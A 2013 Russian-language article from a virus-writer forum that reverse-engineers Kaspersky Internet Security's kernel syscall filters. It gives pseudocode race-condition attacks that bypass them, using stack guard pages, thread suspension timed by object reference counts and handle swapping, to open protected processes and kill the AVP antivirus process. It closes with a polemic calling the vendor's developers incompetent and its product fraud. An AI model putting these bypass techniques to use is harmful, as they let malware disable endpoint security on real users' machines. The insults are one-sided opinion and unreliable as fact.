RC(*Race Condition*) атака.

Этот термин включает в себя множество типов ошибок в синхронизации(*синхробаги*). Качественный код должен противодействовать подобным ошибкам. Рассмотрим реальные примеры на примере **KIS**.

- Версия фильтра KIS2012.

NTSTATUS
NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);

PtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId):
if PreviousMode = User
Status = ProbeForReadAndCopyToBuffer(ClientId)
*; Выполняет валидацию ссылки посредством **ProbeForRead()** и копирует область в пул.*
*; Защищена **SEH**. При исключении возвращает **FALSE**.*
If !Status
Status = NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId)
Ret Status
...

Если при валидации **CLIENT_ID** возникнет фолт, то будет вызван оригинальный сервис. Тоесть обращение к буферу повторно, он передаётся в оригинальный сервис. Синхроатаку можно провести следующими способами:

1. Существует механизм сторожевых страниц. Страница помечается как сторожевая(гвард) и далее при доступе к ней генерируется **#GUARD_PAGE_VIOLATION**(*Warning*) и атрибут снимается. Последующее обращение к странице не приводит к фолту .
   Делаем буфер с **CLIENT_ID** сторожевым. В **ProbeForReadAndCopyToBuffer()** возникнет фолт, атрибут со страницы будет снят. Функция вернёт **FALSE**. Далее произойдёт вызов оригинального сервиса.

2. Межпоточная синхроатака. Первый поток вызывает **PtOpenProcess()**. Второй поток его останавливает. Поток может быть остановлен вне зависимости от мода, если разрешена доставка **APC**.

   Момет остановки должен быть безопасным, чтобы далее не произошёл детект. Для этого необходимо выбрать событие, которое будет критерием. Передаём ссылку на **CLIENT_ID**, которая находится в **N/A** памяти. Критерий должен определить, произошла ли выборка структуры из этой памяти. Если она произошла, то далее **ProbeForReadAndCopyToBuffer()** вернёт **FALSE**. Так как поток остановлен, мы можем синхронно открыть доступ к буферу. Тогда после ресума потока будет вызван оригинальный сервис.

   Проблема может возникнуть с выбором критерия. Им должно быть событие, результат которого доступен из юзермода. В данном случае таким событием может быть факт обращения к памяти.

   Описанный выше механизм сторожевых страниц используется для расширения стека. Если обращение к такой странице происходит в текущем потоке и адрес страницы входит в диапазон

адресов стека, то фолт ядро не разворачивает, просто снимая атрибут со страницы и расширяя стек. Результат расширения сохраняется в блоке, описывающем стек(**TEB** для юзермода). Также атрибуты страницы доступны через сервис **NtQueryVitrualMemory**.

Учитывая сказанное выше алгоритм будет следующим:
1. Делаем страницу стека сторожевой(обнулив там **CLIENT_ID**).
2. Останавливаем поток, вызывающий **PtOpenProcess**.
3. Проверяем лимиты стека либо атрибуты его нижней страницы. Если они не изменены ресумим поток(п. 1).
4. Загружаем **CLIENT_ID** и ресумим поток. Вызывается оригинальный сервис.

Как видно синхроатака основана на повторном обращении к буферу. С точки зрения си это повторное разыменование указателя. Сама ссылка не изменяется, изменяется значение по этой ссылке. Также ссылка может быть условной, это например хэндл обьекта. Рассмотрим не уязвимый алгоритм:

- Версия фильтра KIS2014.

```
NTSTATUS
NtLoadDriver(
        IN PUNICODE_STRING DriverServiceName
        );

PtLoadDriver(ServiceName:PUNICODE_STRING):
        !LocalName:PUNICODE_STRING
        if ExGetPreviousMode()
                Status = NtLoadDriver(ServiceName)
        else
                if !SeSinglePrivilegeCheck(SeLoadDriverPrivilege)
                        mov Status,STATUS_PRIVILEGE_NOT_HELD)
                else
                        if !ServiceName
                                Status = STATUS_INVALID_PARAMETER
                        else
                                Status = ReadUnicodeString(ServiceName, *LocalName)
                                if !(Status & Error)
                                        NewName = FixName(LocalName)
                                        if Detect(NewName)
                                                Status = STATUS_ACCESS_VIOLATION
                                        fi
                                        FreePool(NewName)
                                        if (Status & (Success or Informational))
                                                Status = ZwLoadDriver(LocalName)
                                                FreePool(LocalName)
                                                Ret Status
                                        fi
                                fi
                        fi
                fi
                TraceMessage()
                if LocalName
                        FreePool(LocalName)
                fi
```

```
        fi
        Ret Status
```

Имя сервиса читается в буфер посредством **ReadUnicodeString()**. Далее вызывается оригинальный сервис, в аргументах которого копия строки в буфере. Если бы передавалась исходная строка, сервис был бы уязвим.

- Версия фильтра KIS2012.

```
NTSTATUS
NtAdjustPrivilegesToken (
   __in HANDLE TokenHandle,
   __in BOOLEAN DisableAllPrivileges,
   __in_opt PTOKEN_PRIVILEGES NewState,
   __in_opt ULONG BufferLength,
   __out_bcount_part_opt(BufferLength,*ReturnLength) PTOKEN_PRIVILEGES PreviousState,
   __out_opt PULONG ReturnLength
   );
```

```
PtAdjustPrivilegesToken(TokenHandle, DisableAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength):
        if PreviousMode = User
                if DisableAllPrivileges
                        Status = NtAdjustPrivilegesToken(...)
                        Ret Status
                else
                        ; Копируем TOKEN_PRIVILEGES в буфер.
                        Status = ProbeForReadAndCopyToBuffer(NewState, *State)
                        if !Status
                                ; Вызываем оригинальный сервис.
                                Status = NtAdjustPrivilegesToken(TokenHandle, DisableAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength)
                                Ret Status
        ...
```

Модель аналогичная **PtOpenProcess()** описанной выше. Тот же сервис, но в версии 2014:

```
PtAdjustPrivilegesToken():
        Buffer:TOKEN_PRIVILEGES{}
        if !ExGetPreviousMode() or DisableAllPrivileges or !TokenHandle
Orig:
                Status = NtAdjustPrivilegesToken(TokenHandle, DisableAllPrivileges, NewState, BufferLength, PreviousState, ReturnLength)
                Ret Status
        fi
        Status = ReadBuffer(*Buffer, sizeof(TOKEN_PRIVILEGES), NewState)
        if Status & (Warning or Error)
                > Fail
        fi
        if !Buffer.PrivilegeCount
                > Swit
        fi
```

```
        if Buffer.PrivilegeCount = 1
                Status = CheckOne()
                > Swit
        fi
        Status = ReadBufferToPool(*NewState.Privileges, Buffer.PrivilegeCount *
sizeof(LUID_AND_ATTRIBUTES), 'puLK', *Pool)
        if Status & (Success or Informational)
                Status = CheckMore()
        fi
        FreePool(Pool)
Swit:
        if Status & (Success or Informational)
                > Orig
        fi
Fail:
        TraceMessage()
        Ret Status
)
```

Выполняется чтение структуры **TOKEN_PRIVILEGES** в буфер. Если при чтении возник фолт(*Warning* или *Error*), то выполняется возврат из сервиса. Тоесть мы не можем использовать гвард страницы.
Если чтение прошло успешно, то проверяется число записей в буфере(**PrivilegeCount**). Если оно нулевое, то вызывается оригинальный сервис с оригинальными аргументами(не с копией буфера). Это повторное обращение к структуре и можно выполнить синхроатаку. Останавливаем вызывающий данный сервис поток. Заранее разместив структуру **TOKEN_PRIVILEGES** или часть её с **PrivilegeCount**(равной нулю) в сторожевой странице стека. После остановке потока проверяем снятие атрибута со страницы. Если атрибут снят, то корректируем поле **PrivilegeCount** и ресумим поток. Будет вызван оригинальный сервис.

Рассмотрим **PtOpenProcess** версии 2014.

```
NTSTATUS
NtOpenProcess(
        OUT PHANDLE ProcessHandle,
        IN ACCESS_MASK DesiredAccess,
        IN POBJECT_ATTRIBUTES ObjectAttributes,
        IN PCLIENT_ID ClientId OPTIONAL
        );

PtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId):
        if PreviousMode = User
                ; Переносим OBJECT_ATTRIBUTES в буфер с поправками емени etc.
                Status = MakeObjectAttributes(ObjectAttributes, *ObjCopy)
                if Status & (Warning or Error)
                        ; Имя обьекта и деректория указаны. Копируем в буфере CLIENT_ID.
                        Status = ReadBuffer(ClientId, *CidCopy)
                        if Status & (Success or Informational)
                                if CidCopy.UniqueThread
                                        CidCopy.UniqueProcess =
GetProcessIdByThreadId(CidCopy.UniqueThread)
                                fi
                                if CidCopy.UniqueProcess <> CurrentProcessId()
                                        Detect()
```

```
                    ...
                fi
            fi
        Open:
            if Status & (Success or Informational)
                Status = NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes,
ClientId)
            fi
            Ret Status
        else
            if ClientId
                > Open
            fi
    ...
```

Мы можем использовать гвард страницу на стеке для блокировки **CLIENT_ID**, прежде загрузив в неё идентификатор текущего процесса. Тогда при доступе к структуре мы загрузим необходимый идентификатор.

Во втором варианте используем спицифику условной конструкции. Если задано имя и директория в **OBJECT_ATTRIBUTES** и задан **CLIENT_ID**, то вызывается оригинальный сервис. Он возвратит ошибку, если один из аргументов инкорректен. Нам необходимо определить критерий, который будет определять что поток остановлен на безопасном месте и можно обнулить имя и директорию(тогда ядро откроет процесс по **CLIENT_ID**). Таким критерием может быть референс на обьекте.

Для привидения описателя к обьекту используется референс-апи. Например в данном случае внутри **MakeObjectAttributes()** используется **ObReferenceObjectByHandle()**. Референс на обьекте возвращает указатель на обьект, при этом блокируя обьект от удаления(инкрементирует счётчик ссылок). Этот счётчик доступен из юзермода через **NtQueryObject(ObjectBasicInformation)**. Алгоритм атаки будет следующим.

- Атакуемый поток выполняет цикл -

```
%LWAIT1 PsLock   ; Ожидаем в спинлоке.
Status = PtOpenProcess(*ProcessHandle, PROCESS_ALL_ACCESS, *ObjAttr, *Cid)
%LSIGNAL0 PsLock        ; Сигнализируем и сново ожидаем.
```

- Атакующий поток -

```
Info:OBJECT_BASIC_INFORMATION
    ObjAttr.ObjectName = "\VX"      ; Любое имя.
    ObjAttr.RootDirectory = CreateEvent()   ; Тип обьекта не важен.
; Определяем текущее число ссылок на обьект.
    NtQueryObject(ObjAttr.RootDirectory, ObjectBasicInformation, *Info)
    N = Info.PointerCount

    %LSIGNAL1 PsLock        ; Выводим атакуемый поток из спящего состояния.
Next:
    SuspendThread()     ; Останавливаем поток.
; Получаем текущее число ссылок.
    NtQueryObject(ObjAttr.RootDirectory, ObjectBasicInformation, *Info)
    if Info.PointerCount = N     ; Число ссылок не изменилось.
        ResumeThread()
```

> Next
fi
; *Выполнен референс на обьекте. Корректируем атрибуты и русумим поток.*
!ObjAttr.RootDirectory
!ObjAttr.pObjectName
ResumeThread()
%LWAIT0 PsLock *; Ожидаем возврат из сервиса. После возврата процесс открыт.*

Аналогичным образом может быть открыт поток:

NtOpenThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);

PtOpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId):
if PreviousMode = User
Status = MakeObjectAttributes(ObjectAttributes, *ObjCopy)
if Status & (Success or Informational)
if ClientId
if Status & (Success or Informational)
Status = OpenThread(ThreadHandle, DesiredAccess, ObjectAttributes, ClientId)
Ret Status
...

Как было сказано выше ссылкой может быть не только указатель на структуру в памяти. Это может быть также описатель. Рассмотрим следующий сервис(KIS2014):

NTSTATUS
NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

PtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ReturnLength):
if PreviousMode = User
if !ProcessHandle or (ProcessHandle = NtCurrentProcess) or !BaseAddress or !BufferLength
Status = NtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, BufferLength, ReturnLength)
Ret Status
fi
Status = GetProcessIdByProcessHandle(ProecssHandle, *Pid) *; Выполняет референс на обьекте.*
if Status & (Warning or Error)
Ret Status
fi

```
            if Pid = CurrentProcessId()
                if Status & (Success or Informational)
                    Status = NtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer,
BufferLength, ReturnLength)
                fi
                Ret Status
            fi
            Detect()
        ...
```

Описатель процесса ссылается не явно на его обьект. Обьект можно изменить закрыв описатель и создав новый. При этом число ссылок на обьект не влияет на закрытие описателя, только на его удаление. Таким образом алгоритм атаки будет следующим:

1. Открываем тукущий процесс.
2. Останавливаем атакуемый поток(он в цикле вызывает **PtOpenProcess()**).
3. Если число ссылок на процесс не изменилось, ресумим поток и переходим к п.2.
4. Выполнен референс внутри **GetProcessIdByProcessHandle()**. Теперь можно безопасно изменить значение ссылки — описателя.
   Закрываем его(**NtClose**) и открываем целевой процесс.
5. Ресумим поток. Процесс открыт.

Если будет введена рандомизация описателей, то всёравно атаку можно будет выполнить — исчерпать число описателей, тогда число вероятных будет не большим и тайминг для создания необходимого не большой.

Сервис **NtTerminateProcess** в KIS2014 локально не уязвим:

```
NTSTATUS
NtTerminateProcess(
    IN HANDLE ProcessHandle OPTIONAL,
    IN NTSTATUS ExitStatus
    );

PtTerminateProcess:
    !Result
    if ExGetPreviousMode() & ProcessHandle & (ProcessHandle <> NtCurrentProcess)
        Result = ReferenceObjectByHandle(ProcessHandle, PROCESS_TERMINATE, *Process)
        if !(Result & Error)
            if PsGetThreadProcessId(PsGetThreadId(Process)) <> PsGetCurrentProcessId())
                Detect()
                Result = STATUS_ACCESS_DENIED
            fi
        fi
    fi
    if Process
        DereferenceObject(Process)
    fi
    if (Result & Error)
        TraceMessage()
    else
        Result = NtTerminateProcess(ProcessHandle, ExitStatus)
    fi
```

Ret Result

Так как описатель текущего процесса передать нельзя(он будет завершён). Можно использовать косвенный механизм завершения процессов. Если к процессу подключен отладчик и отладочный обьект сконфигурирован для завершения процесса при завершении отладчика, то процесс снимет ядро. Для этого необходимо подключить отладчик к процессу. Это выполняет сервис **NtDebugActiveProcess**. Рассмотрим его фильтр(KIS2014):

```
NTSTATUS
NtDebugActiveProcess (
        IN HANDLE ProcessHandle,
        IN HANDLE DebugObjectHandle
        );

PtDebugActiveProcess:
        if ExGetPreviousMode() & ProcessHandle & (ProcessHandle <> NtCurrentProcess)
                Result = GetProcessIdByProcessHandle(ProcessHandle, *ProcessId)
                if (Result & Error)
                        TraceMessage()
                else
                        if PsGetCurrentProcessId() <> ProcessId
                                Result = Detect()
                                > Debug
                        fi
                fi
                if (Result & Error)
                        TraceMessage()
                        Ret Result
                fi
        fi
Debug:
        Result = NtDebugActiveProcess(ProcessHandle, PortHandle)
        Ret Result
```

Используем синхроатаку на описатель. Она возможна в следствии того, что отладчик сам себя не может взять под отладку(возвратится ошибка):

```
  if (Process == PsGetCurrentProcess () || Process == PsInitialSystemProcess) {
    ObDereferenceObject (Process);
    return STATUS_ACCESS_DENIED;
  }
```

Подробный алгоритм атаки:

- Атакуемый поток -

```
        Do      ; В цикле подключаем порт. Для текущего процесса возвратится ошибка.
                Wait1()
                Status = NtDebugActiveProcess(Process, Port)
                Signal0()
        Loop
```

- Атакующий поток -

Info:OBJECT_BASIC_INFORMATION
Port = DbgUiConnectToDbg() *; Создаём отладочный порт.*
DebugSetProcessKillOnExit() *; Разрешаем завершение отлаживаемого процесса при завершении отладчика.*
First:
Process = OpenProcess(CurrentPid) *; Открываем текущий процесс.*
NtQueryObject(ObjectBasicInformation, Process, *Info)*; Определяем текущее число ссылок на обьект.*
N = Info.PointerCount
Next:
Signal1() *; Выводим поток из спинлок цикла.*
SuspendThread() *; Останавливаем.*
NtQueryObject(ObjectBasicInformation, Process, *Info)*; Определяем текущее число ссылок на обьект.*
if Info.PointerCount = N *; Число ссылок не изменилось.*
ResumeThread()
Wait0()
> Next
fi
; Создаём описатель целевого процесса, численно равный исходному.
Temp = Process
Do
Close(Process)
Process = OpenProcess(Avp)
Loop Process = Temp
; Теперь хэндл описывает процесс AVP.
ResumeThread() *; Ресумим поток.*
Wait0()
if !Status *; Открытие произошло успешно.*
ExitProcess() *; Завершаем текущий процесс, с ним также завершится отлаживаемый.*
fi
Close(Process) *; Поток остановлен возможно ниже необходимой точки, сервис вернул ошибку. Делаем есчо одну попытку.*
> First

Следует заметить что процессы KIS быстро снимаются. Снятие ***AVP*** приводит к **BSOD**.

Рассмотрены лишь не многие сервисы, большая их часть уязвима. Нет смысла описывать их все, дан концепт и при желании он легко реализуется. К синхроатакам уязвим не только KIS, но и другие проактивные защиты. Впервые принцип был дан мной давно, на виртеке(*virustech.org*). Изначально эта технология использовалась мной для блокирования памяти от удаления и изменения атрибутов.
Ядро блокирует пользовательскую память для безопасного доступа к ней посредством **MmSecureVirtualMemory()**. Поток останавливается после блокирования памяти. Далее память заблокирована и разблокируется только после ресума потока.

В ядре используется множество механизмов синхронного доступа и защит от **RC** атак. В частности запрещается ядерная **APC** – **KeEnterCriticalRegion()**, либо поднимается **IRQL**. Многие функции также не явно запрещают останов потоков, так например **KeStackAttachProcess()** поднимает **IQRL**, блокируя тем самым поток. Иначе была бы возможность получить доступ к памяти чужого процесса не явно.

В модуле ***resource.c*** из **WRK** описаны механизмы доступа к ресурсам. Отдельно сказано и про останов потоков:

When acquiring a resource while running in a thread that is not a system thread and runs at passive level we need to disable kernel APCs first (KeEnterCriticalRegion()). Otherwise any user mode code can call NtSuspendThread() which is implemented using kernel APCs and can suspend the thread while having a resource acquired. This will potentially deadlock the whole system.

Не знание этого есть полное незнание системы. Авторы KIS кода студенты, не знающие матчасть.

- KIS FAKE AV.

Реализация фильтров в KIS совершенно безграмотна. Авторы кода не понимают как работает система с их кодом, многопоточность. Процедуры рассматриваются как изолированный от операционной системы(среда программирования, а не среда программы) обьект, не более чем обьект среды программирования. Для реализации защиты это не приемлимо. Существует базовый мимнимум механизмов синхронного доступа к ресурсам, не зная который вообще не следует соваться в ядро. Но видимо в организации Касперского это никого не интересует. И матчать никто не знает.

“Нубость” авторов не ограничивается только отсутствием осознания общих принципов работы системы. Так например код в таких крупных организациях постоянно проходит ревизию. Выше был приведён пример такой ревизии **PtOpenProcess()** для разных версий KIS. Была немного изменена условная конструкция(видимо узнали про древнюю атаку через гвард память из семплов, типо *Андромеды*). Но уязвимость осталась и использование её заключается в изменении модели вызова.

В фейковом антивирусе(*fake av*) товарища Бабушкина(*FakeAV.BabushkinFraud*) детектились вредоносные файлы по именам. Это является фейком потому, что при изменении файла, а точнее обьекта, детекта уже не будет. Сигнатурный детект или облачный, они представляют по сути тоже самое — изменяется обьект и детект пропадает. В следствии этого критерием для *fake av* является сложность изменения обьекта. Если имя файла изменяется элементарно, то значит детект на нём основанный является фейком. С другой стороны облачный детект, основанный на контрольной сумме файла представляет собой тоже самое. Сигнатурный детект, который обходится через технологии антиэмуляции(в простейшем случае) является таким же фейком, учитывая простоту обхода виртуальных машин. Их патент сисколов абсурден (запотентован системный механизм, интересно почему *Microsoft* не судится..).

С проактивной защитой всё иначе. Тут сложность обхода не имеет значения. Сервис либо уязвим, либо нет, вне зависимости от его модели вызова. В случае с KIS они уязвимы и уже очень давно. Таким образом проактивная защита является фейком. Как и всякого авера, их интересуют лишь деньги, получаемые с наивно верующих в их фейковую защиту пользователей. Это не что иное, как мошенничество.

Примечания.

1. Процедуры описаны выше псевдокодом.
2. Формат **NTSTATUS** кода описан в ***ntstatus.h***
   Биты [31%30] кода определяют класс ошибки:
   00 - *Success*
   01 - *Informational*
   10 - *Warning*
   11 - *Error*
3. Функции с префиксом ***Pt**** являются хэндлерами соответствующих ***Nt**** сервисов.
4. В KIS хэндлеры сервисов расположены в модуле ***klif.sys***.
5. KIS: *“Kaspersky Internet Security”*.

(c) Indy, 14 Dec 2013, vxforum.net